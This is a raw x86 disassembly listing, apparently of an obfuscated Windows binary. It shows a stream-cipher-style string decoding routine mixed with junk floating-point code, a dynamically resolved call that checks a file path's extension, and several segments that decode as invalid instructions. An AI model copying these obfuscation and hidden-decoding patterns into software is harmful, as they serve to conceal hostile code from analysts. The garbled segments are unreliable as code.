mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3ec], 0x32
mov eax, dword [ebp - 0x3f0]
sub eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x400]
sub eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x3fc]
shl eax, 4
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3f8]
or eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x3cc], eax
mov al, byte [ebp - 0x3cc]
mov byte [ebp - 0x3ad], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x3f1], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x3f1]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x3f1]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3ad]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3ad]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x3e1], al
cmp dword [ebp - 0x3d4], 0
jle 0x511582
mov eax, dword [ebp - 0x3d4]
mov cl, byte [ebp - 0x3e1]
mov byte [ebp + eax - 0x229], cl
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
fld dword [0x9a1a9c]
fstp dword [ebp - 0x3c8]
fld dword [0x9a1a98]
fstp dword [ebp - 0x3ac]
fld dword [0x9a1a94]
fstp dword [ebp - 0x3a4]
fld dword [0x9a1a90]
fstp dword [ebp - 0x3c4]
fld dword [0x9a1a8c]
fstp dword [ebp - 0x3e0]
fld dword [ebp - 0x3a4]
fsub dword [ebp - 0x3e0]
fstp dword [ebp - 0x3a4]
fld dword [ebp - 0x3c8]
fmul dword [ebp - 0x3e0]
fstp dword [ebp - 0x3c8]
fld dword [ebp - 0x3c4]
fsub dword [ebp - 0x3e0]
fstp dword [ebp - 0x3c4]
fld dword [ebp - 0x3c4]
fmul dword [ebp - 0x3e0]
fstp dword [ebp - 0x3c4]
fld dword [ebp - 0x3ac]
fadd dword [ebp - 0x3e0]
fstp dword [ebp - 0x3ac]
fld dword [ebp - 0x3e0]
fld dword [ebp - 0x3c8]
fcompp
fnstsw ax
test ah, 5
jp 0x5116a3
fld dword [ebp - 0x3e0]
fadd dword [ebp - 0x3c8]
fstp dword [ebp - 0x3e0]
fld dword [ebp - 0x3ac]
fadd dword [ebp - 0x3a4]
fstp dword [ebp - 0x3ac]
fld dword [ebp - 0x3ac]
fadd dword [ebp - 0x3a4]
fstp dword [ebp - 0x3ac]
fld dword [ebp - 0x3c8]
fmul dword [ebp - 0x3ac]
fstp dword [ebp - 0x3c8]
fld dword [ebp - 0x3a4]
fadd dword [ebp - 0x3c4]
fstp dword [ebp - 0x3a4]
jmp 0x51170b
fld dword [ebp - 0x3a4]
fsub dword [ebp - 0x3e0]
fstp dword [ebp - 0x3a4]
fld dword [ebp - 0x3c8]
fmul dword [ebp - 0x3a4]
fstp dword [ebp - 0x3c8]
fld dword [ebp - 0x3e0]
fadd dword [ebp - 0x3ac]
fstp dword [ebp - 0x3e0]
fld dword [ebp - 0x3e0]
fmul dword [ebp - 0x3ac]
fstp dword [ebp - 0x3e0]
fld dword [ebp - 0x3a4]
fsub dword [ebp - 0x3e0]
fstp dword [ebp - 0x3a4]
mov eax, dword [ebp - 0x3d4]
shl eax, 1
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x380]
movzx eax, byte [eax]
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3a8], 0x6b
mov eax, dword [ebp - 0x3d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3b4]
movzx eax, byte [eax]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3ec], 0x32
mov eax, dword [ebp - 0x3f0]
sub eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x400]
sub eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x3fc]
shl eax, 4
mov dword [ebp - 0x3f8], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3f8]
or eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x3cc], eax
mov al, byte [ebp - 0x3cc]
mov byte [ebp - 0x3ad], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x3f1], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x3f1]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x3f1]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3ad]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3ad]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x3e1], al
cmp dword [ebp - 0x3d4], 0
jle 0x511936
mov eax, dword [ebp - 0x3d4]
mov cl, byte [ebp - 0x3e1]
mov byte [ebp + eax - 0x229], cl
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x3d4]
shl eax, 1
mov dword [ebp - 0x380], eax
fld dword [0x9a1a88]
fstp dword [ebp - 0x390]
fld dword [0x9a1a84]
fstp dword [ebp - 0x3a0]
fld dword [0x9a1a80]
fstp dword [ebp - 0x3c0]
fld dword [ebp - 0x3a0]
fadd dword [ebp - 0x3c0]
fstp dword [ebp - 0x3a0]
fld dword [ebp - 0x390]
fsub dword [ebp - 0x3c0]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x3a0]
fmul dword [ebp - 0x3c0]
fstp dword [ebp - 0x3a0]
fld dword [ebp - 0x3c0]
fld dword [ebp - 0x3a0]
fcompp
fnstsw ax
test ah, 0x41
jne 0x511a1d
fld dword [ebp - 0x3a0]
fsub dword [ebp - 0x390]
fstp dword [ebp - 0x3a0]
fld dword [ebp - 0x390]
fadd dword [ebp - 0x3c0]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x3a0]
fmul dword [ebp - 0x390]
fstp dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x380]
movzx eax, byte [eax]
mov dword [ebp - 0x3f0], eax
jmp 0x511b0c
fld dword [ebp - 0x390]
fsub dword [ebp - 0x3c0]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x390]
fmul dword [ebp - 0x3c0]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x390]
fdiv dword [ebp - 0x3c0]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x3a0]
fdiv dword [ebp - 0x3c0]
fstp dword [ebp - 0x3a0]
fld dword [ebp - 0x3a0]
fdiv dword [ebp - 0x3c0]
fstp dword [ebp - 0x3a0]
fld dword [ebp - 0x3c0]
fmul dword [ebp - 0x390]
fstp dword [ebp - 0x3c0]
fld dword [ebp - 0x3a0]
fld dword [ebp - 0x390]
fcompp
fnstsw ax
test ah, 5
jp 0x511ad6
fld dword [ebp - 0x390]
fadd dword [ebp - 0x3a0]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x3c0]
fmul dword [ebp - 0x390]
fstp dword [ebp - 0x3c0]
fld dword [ebp - 0x3a0]
fadd dword [ebp - 0x3c0]
fstp dword [ebp - 0x3a0]
jmp 0x511b0c
fld dword [ebp - 0x390]
fadd dword [ebp - 0x3c0]
fstp dword [ebp - 0x390]
fld dword [ebp - 0x3a0]
fmul dword [ebp - 0x390]
fstp dword [ebp - 0x3a0]
fld dword [ebp - 0x390]
fadd dword [ebp - 0x3c0]
fstp dword [ebp - 0x390]
mov dword [ebp - 0x3a8], 0x6b
mov eax, dword [ebp - 0x3d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x250]
add eax, dword [ebp - 0x3b4]
movzx eax, byte [eax]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3ec], 0x32
mov eax, dword [ebp - 0x3f0]
sub eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp - 0x400]
sub eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x3fc]
shl eax, 4
mov dword [ebp - 0x3f8], eax
fld qword [0x9a1a78]
fstp qword [ebp - 0x3dc]
fld qword [0x9a1a70]
fstp qword [ebp - 0x38c]
fld qword [0x9a1a68]
fstp qword [ebp - 0x39c]
fld qword [0x9a1a60]
fstp qword [ebp - 0x3bc]
fld qword [ebp - 0x39c]
fmul qword [ebp - 0x3bc]
fstp qword [ebp - 0x39c]
fld qword [ebp - 0x39c]
fsub qword [ebp - 0x3bc]
fstp qword [ebp - 0x39c]
fld qword [ebp - 0x3dc]
fadd qword [ebp - 0x3bc]
fstp qword [ebp - 0x3dc]
fld qword [ebp - 0x3dc]
fmul qword [ebp - 0x3bc]
fstp qword [ebp - 0x3dc]
fld qword [ebp - 0x3dc]
fcomp qword [ebp - 0x3bc]
fnstsw ax
test ah, 0x41
jne 0x511c5c
fld qword [ebp - 0x38c]
fmul qword [ebp - 0x39c]
fstp qword [ebp - 0x38c]
fld qword [ebp - 0x3dc]
fmul qword [ebp - 0x38c]
fstp qword [ebp - 0x3dc]
fld qword [ebp - 0x39c]
fmul qword [ebp - 0x3bc]
fstp qword [ebp - 0x39c]
fld qword [ebp - 0x38c]
fsub qword [ebp - 0x39c]
fstp qword [ebp - 0x38c]
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x3e8], eax
jmp 0x511d91
fld qword [ebp - 0x3dc]
fadd qword [ebp - 0x39c]
fstp qword [ebp - 0x3dc]
fld qword [ebp - 0x3bc]
fadd qword [ebp - 0x38c]
fstp qword [ebp - 0x3bc]
fld qword [ebp - 0x3dc]
fsub qword [ebp - 0x39c]
fstp qword [ebp - 0x3dc]
fld qword [ebp - 0x3bc]
fadd qword [ebp - 0x38c]
fstp qword [ebp - 0x3bc]
fld qword [ebp - 0x39c]
fmul qword [ebp - 0x3bc]
fstp qword [ebp - 0x39c]
fld qword [ebp - 0x3dc]
fdiv qword [ebp - 0x38c]
fstp qword [ebp - 0x3dc]
fld qword [ebp - 0x3bc]
fmul qword [ebp - 0x3dc]
fstp qword [ebp - 0x3bc]
fld qword [ebp - 0x3bc]
fdiv qword [ebp - 0x3dc]
fstp qword [ebp - 0x3bc]
fld qword [ebp - 0x3bc]
fcomp qword [ebp - 0x38c]
fnstsw ax
test ah, 5
jp 0x511d49
fld qword [ebp - 0x3bc]
fdiv qword [ebp - 0x3dc]
fstp qword [ebp - 0x3bc]
fld qword [ebp - 0x3bc]
fdiv qword [ebp - 0x3dc]
fstp qword [ebp - 0x3bc]
fld qword [ebp - 0x3dc]
fsub qword [ebp - 0x38c]
fstp qword [ebp - 0x3dc]
fld qword [ebp - 0x3bc]
fsub qword [ebp - 0x3dc]
fstp qword [ebp - 0x3bc]
jmp 0x511d91
fld qword [ebp - 0x3dc]
fadd qword [ebp - 0x39c]
fstp qword [ebp - 0x3dc]
fld qword [ebp - 0x39c]
fadd qword [ebp - 0x3dc]
fstp qword [ebp - 0x39c]
fld qword [ebp - 0x3dc]
fsub qword [ebp - 0x39c]
fstp qword [ebp - 0x3dc]
fld qword [ebp - 0x38c]
fmul qword [ebp - 0x3bc]
fstp qword [ebp - 0x38c]
mov eax, dword [ebp - 0x3f8]
or eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x3cc], eax
mov al, byte [ebp - 0x3cc]
mov byte [ebp - 0x3ad], al
movzx eax, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp - 0x3f1], al
movzx eax, byte [ebp - 0x36f]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x255]
add ecx, eax
mov byte [ebp - 0x255], cl
mov al, byte [ebp - 0x36f]
add al, 1
mov byte [ebp - 0x36f], al
movzx eax, byte [ebp - 0x255]
movzx ecx, byte [ebp - 0x246]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x365]
movzx ecx, byte [ebp - 0x255]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
movzx ecx, byte [ebp - 0x365]
mov al, byte [ebp + eax - 0x35c]
mov byte [ebp + ecx - 0x35c], al
movzx eax, byte [ebp - 0x36f]
mov cl, byte [ebp - 0x3f1]
mov byte [ebp + eax - 0x35c], cl
movzx eax, byte [ebp - 0x3f1]
movzx eax, byte [ebp + eax - 0x35c]
movzx ecx, byte [ebp - 0x35d]
add ecx, eax
mov byte [ebp - 0x35d], cl
movzx eax, byte [ebp - 0x3ad]
movzx ecx, byte [ebp - 0x255]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x36f]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
movzx ecx, byte [ebp - 0x365]
movzx ecx, byte [ebp + ecx - 0x35c]
movzx edx, byte [ebp - 0x246]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
movzx edx, byte [ebp - 0x35d]
movzx edx, byte [ebp + edx - 0x35c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x35c]
movzx ecx, byte [ebp + ecx - 0x35c]
xor eax, ecx
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x3ad]
mov byte [ebp - 0x246], al
mov al, byte [ebp - 0x365]
mov byte [ebp - 0x3e1], al
cmp dword [ebp - 0x3d4], 0
jle 0x511f2f
mov eax, dword [ebp - 0x3d4]
mov cl, byte [ebp - 0x3e1]
mov byte [ebp + eax - 0x229], cl
mov byte [ebp - 0x216], 0
jmp 0x511f67
and dword [ebp - 0x418], 0
jmp 0x511f4e
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0x13
jge 0x511f67
mov eax, dword [ebp - 0x418]
mov byte [ebp + eax - 0x228], 0
jmp 0x511f41
lea eax, [ebp - 0x228]
push eax
mov ecx, dword [0x9d8a1c]
call fcn.0044dee5
mov dword [ebp - 0x234], eax
push 0x104
lea eax, [ebp - 0x214]
push eax
push 0
call dword [ebp - 0x234]
test eax, eax
je 0x518723
xor eax, eax
mov word [ebp - 0x68c], ax
push 0x206
push 0
lea eax, [ebp - 0x68a]
push eax
call fcn.00936130
add esp, 0xc
lea eax, [ebp - 0x214]
mov dword [ebp - 0xf00], eax
lea eax, [ebp - 0x68c]
mov dword [ebp - 0xf04], eax
mov eax, dword [ebp - 0xf04]
mov dword [ebp - 0xf08], eax
mov eax, dword [ebp - 0xf00]
mov ax, word [eax]
mov word [ebp - 0xf0a], ax
mov eax, dword [ebp - 0xf04]
mov cx, word [ebp - 0xf0a]
mov word [eax], cx
mov eax, dword [ebp - 0xf00]
inc eax
inc eax
mov dword [ebp - 0xf00], eax
mov eax, dword [ebp - 0xf04]
inc eax
inc eax
mov dword [ebp - 0xf04], eax
cmp word [ebp - 0xf0a], 0
jne 0x511fde
push 0x2e
lea eax, [ebp - 0x68c]
push eax
call fcn.004fea8d
pop ecx
pop ecx
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x42c]
movzx eax, word [eax + 4]
cmp eax, 0x78
jne 0x51205c
mov eax, dword [ebp - 0x42c]
movzx eax, word [eax + 6]
cmp eax, 0x65
je 0x51348c
and dword [ebp - 0x6bc], 0
and dword [ebp - 0x6c0], 0
fldz
fstp qword [ebp - 0x6dc]
fldz
fstp qword [ebp - 0x6d4]
fldz
fstp qword [ebp - 0x6d4]
jmp 0x512096
fld qword [ebp - 0x6d4]
fadd qword [0x9a0bd8]
fstp qword [ebp - 0x6d4]
fld qword [0x9a5b08]
fcomp qword [ebp - 0x6d4]
fnstsw ax
test ah, 0x41
jne 0x51211f
fld qword [0x9a5b00]
fmul qword [ebp - 0x6d4]
fmul qword [ebp - 0x6d4]
fld qword [ebp - 0x6d4]
fmul qword [ebp - 0x6d4]
fsubp st(1)
fld qword [0x9a4330]
fmul qword [ebp - 0x6d4]
fmul qword [ebp - 0x6d4]
fadd qword [0x9a5af8]
fdivp st(1)
fadd qword [ebp - 0x6dc]
fstp qword [ebp - 0x6dc]
fld qword [0x9a5af0]
fcomp qword [ebp - 0x6dc]
fnstsw ax
test ah, 5
jp 0x51211a
fld qword [0x9a5ae8]
fmul qword [ebp - 0x6d4]
fsubr qword [ebp - 0x6dc]
fstp qword [ebp - 0x6dc]
call 0xdc51bb63
lea ebp, [ecx + edi*8]
invalid
pop edx
lcall 0xfff9, 0x2c8ddc00
invalid
jmp 0x512084
fldz
fcomp qword [ebp - 0x6dc]
fnstsw ax
test ah, 0x41
jne 0x51215b
jg 0x512106
jg 0x512104
jl 0x512105
jb 0x51210d
jne 0x51210d
cmp byte [bx + di], ah
jns 0x512176
sub byte [edx + 0x57], dl
pop edx
das
jae 0x512197
inc ebp
xor al, 0x25
cmp byte [esi], ch
push sp
inc ebx
je 0x5121b5
bound ebx, qword [edi + 0x20]
and al, 0x20
insb byte es:[edi], dx
xor cl, ch
pop ebx
adc al, byte [eax]
add bh, al
test dword [ecx + edi*8 - 1], eax
jmp [esi]
mov dword [ebp - 0x6bc], 0x51212e
mov dword [ebp - 0x6c0], 0x512138
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x6e8], eax
mov eax, dword [ebp - 0x6c0]
mov dword [ebp - 0x6e4], eax
mov byte [ebp - 0x805], 0x22
and dword [ebp - 0x7fc], 0
jmp 0x5121a4
test dword [eax], ebx
stc
invalid
mov eax, dword [ebp - 0x7fc]
inc eax
mov dword [ebp - 0x7fc], eax
cmp dword [ebp - 0x7fc], 0x100
jae 0x5121c5
mov eax, dword [ebp - 0x7fc]
mov cl, byte [ebp - 0x7fc]
mov byte [ebp + eax - 0x7f4], cl
jmp 0x512197
dec dword [edx - 0x7fb73]
dec dword [eax - 0x7f3fa74]
invalid
and dword [ebp - 0x6ec], 0
mov byte [ebp - 0x806], 0
mov dword [ebp - 0x7fc], 0xff
jmp 0x5121ec
mov eax, dword [ebp - 0x7fc]
dec eax
mov dword [ebp - 0x7fc], eax
cmp dword [ebp - 0x7fc], 0
jbe 0x512466
and dword [ebp - 0x80c], 0
mov dword [ebp - 0x814], 1
mov eax, dword [ebp - 0x814]
cmp eax, dword [ebp - 0x7fc]
jae 0x51222a
mov eax, dword [ebp - 0x814]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x814], eax
jmp 0x51220a
mov eax, dword [ebp - 0x6ec]
mov dword [ebp - 0xf10], eax
mov eax, dword [ebp - 0xf10]
mov dword [ebp - 0xf14], eax
cmp dword [ebp - 0xf14], 0
je 0x51226f
sub dword [ebp - 0xf14], 1
je 0x51229b
sub dword [ebp - 0xf14], 1
je 0x5122c7
sub dword [ebp - 0xf14], 1
je 0x5122f3
jmp 0x51231f
movzx eax, byte [ebp - 0x806]
movzx ebx, byte [ebp + eax - 0x7f4]
fld qword [ebp - 0x6dc]
call fcn.00937726
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x806], bl
jmp 0x512346
movzx eax, byte [ebp - 0x806]
movzx ebx, byte [ebp + eax - 0x7f4]
fld qword [ebp - 0x6dc]
call fcn.00937726
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x806], bl
jmp 0x512346
movzx eax, byte [ebp - 0x806]
movzx ebx, byte [ebp + eax - 0x7f4]
fld qword [ebp - 0x6dc]
call fcn.00937726
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x806], bl
jmp 0x512346
movzx eax, byte [ebp - 0x806]
movzx ebx, byte [ebp + eax - 0x7f4]
fld qword [ebp - 0x6dc]
call fcn.00937726
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x806], bl
jmp 0x512346
movzx eax, byte [ebp - 0x806]
movzx eax, byte [ebp + eax - 0x7f4]
mov ecx, dword [ebp - 0x6e4]
add ecx, dword [ebp - 0x6ec]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0x806], al
mov eax, dword [ebp - 0x6ec]
inc eax
mov dword [ebp - 0x6ec], eax
movzx eax, byte [ebp - 0x805]
cmp dword [ebp - 0x6ec], eax
jb 0x51237f
and dword [ebp - 0x6ec], 0
movzx eax, byte [ebp - 0x805]
movzx ecx, byte [ebp - 0x806]
add ecx, eax
mov byte [ebp - 0x806], cl
movzx eax, byte [ebp - 0x806]
and eax, dword [ebp - 0x814]
mov dword [ebp - 0x810], eax
mov eax, dword [ebp - 0x80c]
inc eax
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0xb
jbe 0x5123bc
mov eax, dword [ebp - 0x810]
xor edx, edx
div dword [ebp - 0x7fc]
mov dword [ebp - 0x810], edx
mov eax, dword [ebp - 0x810]
cmp eax, dword [ebp - 0x7fc]
ja 0x51222a
mov eax, dword [ebp - 0x7fc]
cmp eax, dword [ebp - 0x810]
je 0x512461
mov eax, dword [ebp - 0x810]
movzx eax, byte [ebp + eax - 0x7f4]
mov ecx, dword [ebp - 0x7fc]
movzx ecx, byte [ebp + ecx - 0x7f4]
xor ecx, eax
mov eax, dword [ebp - 0x7fc]
mov byte [ebp + eax - 0x7f4], cl
mov eax, dword [ebp - 0x7fc]
movzx eax, byte [ebp + eax - 0x7f4]
mov ecx, dword [ebp - 0x810]
movzx ecx, byte [ebp + ecx - 0x7f4]
xor ecx, eax
mov eax, dword [ebp - 0x810]
mov byte [ebp + eax - 0x7f4], cl
mov eax, dword [ebp - 0x810]
movzx eax, byte [ebp + eax - 0x7f4]
mov ecx, dword [ebp - 0x7fc]
movzx ecx, byte [ebp + ecx - 0x7f4]
xor ecx, eax
mov eax, dword [ebp - 0x7fc]
mov byte [ebp + eax - 0x7f4], cl
jmp 0x5121df
mov al, byte [ebp - 0x7f3]
mov byte [ebp - 0x807], al
mov al, byte [ebp - 0x7f1]
mov byte [ebp - 0x6ed], al
mov al, byte [ebp - 0x7ef]
mov byte [ebp - 0x7f5], al
mov al, byte [ebp - 0x7ed]
mov byte [ebp - 0x7fd], al
movzx eax, byte [ebp - 0x806]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp - 0x6dd], al
mov dword [ebp - 0x804], 0xa
cmp dword [ebp - 0x804], 2
jle 0x513385
mov eax, dword [ebp - 0x804]
and eax, 1
jne 0x513385
and dword [ebp - 0x864], 0
and dword [ebp - 0x860], 0
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
and dword [ebp - 0x828], 0
mov eax, dword [ebp - 0x864]
shl eax, 1
mov dword [ebp - 0x828], eax
and dword [ebp - 0x88c], 0
mov eax, dword [ebp - 0x6e8]
add eax, dword [ebp - 0x828]
movzx eax, byte [eax]
add eax, dword [ebp - 0x88c]
mov dword [ebp - 0x88c], eax
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x840]
add eax, 0x71
mov dword [ebp - 0x840], eax
and dword [ebp - 0x858], 0
mov eax, dword [ebp - 0x864]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x858], eax
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x6e8]
add eax, dword [ebp - 0x858]
movzx eax, byte [eax]
add eax, dword [ebp - 0x89c]
mov dword [ebp - 0x89c], eax
and dword [ebp - 0x888], 0
mov eax, dword [ebp - 0x888]
add eax, 0xce
mov dword [ebp - 0x888], eax
and dword [ebp - 0x898], 0
mov eax, dword [ebp - 0x88c]
sub eax, dword [ebp - 0x840]
add eax, dword [ebp - 0x898]
mov dword [ebp - 0x898], eax
and dword [ebp - 0x82c], 0
mov eax, dword [ebp - 0x89c]
sub eax, dword [ebp - 0x888]
add eax, dword [ebp - 0x82c]
mov dword [ebp - 0x82c], eax
and dword [ebp - 0x894], 0
mov eax, dword [ebp - 0x898]
shl eax, 4
mov dword [ebp - 0x894], eax
and dword [ebp - 0x884], 0
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x884], eax
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0x894]
or eax, dword [ebp - 0x884]
mov dword [ebp - 0x85c], eax
mov byte [ebp - 0x841], 0
mov al, byte [ebp - 0x85c]
mov byte [ebp - 0x841], al
mov byte [ebp - 0x88d], 0
movzx eax, byte [ebp - 0x6dd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp - 0x88d], al
movzx eax, byte [ebp - 0x807]
movzx eax, byte [ebp + eax - 0x7f4]
movzx ecx, byte [ebp - 0x6ed]
add ecx, eax
mov byte [ebp - 0x6ed], cl
mov al, byte [ebp - 0x807]
add al, 1
mov byte [ebp - 0x807], al
movzx eax, byte [ebp - 0x6ed]
movzx ecx, byte [ebp - 0x6dd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x7fd]
movzx ecx, byte [ebp - 0x6ed]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x807]
movzx ecx, byte [ebp - 0x7fd]
mov al, byte [ebp + eax - 0x7f4]
mov byte [ebp + ecx - 0x7f4], al
movzx eax, byte [ebp - 0x807]
mov cl, byte [ebp - 0x88d]
mov byte [ebp + eax - 0x7f4], cl
movzx eax, byte [ebp - 0x88d]
movzx eax, byte [ebp + eax - 0x7f4]
movzx ecx, byte [ebp - 0x7f5]
add ecx, eax
mov byte [ebp - 0x7f5], cl
movzx eax, byte [ebp - 0x841]
movzx ecx, byte [ebp - 0x6ed]
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx edx, byte [ebp - 0x807]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x7f4]
xor eax, ecx
movzx ecx, byte [ebp - 0x7fd]
movzx ecx, byte [ebp + ecx - 0x7f4]
movzx edx, byte [ebp - 0x6dd]
movzx edx, byte [ebp + edx - 0x7f4]
add ecx, edx
movzx edx, byte [ebp - 0x7f5]
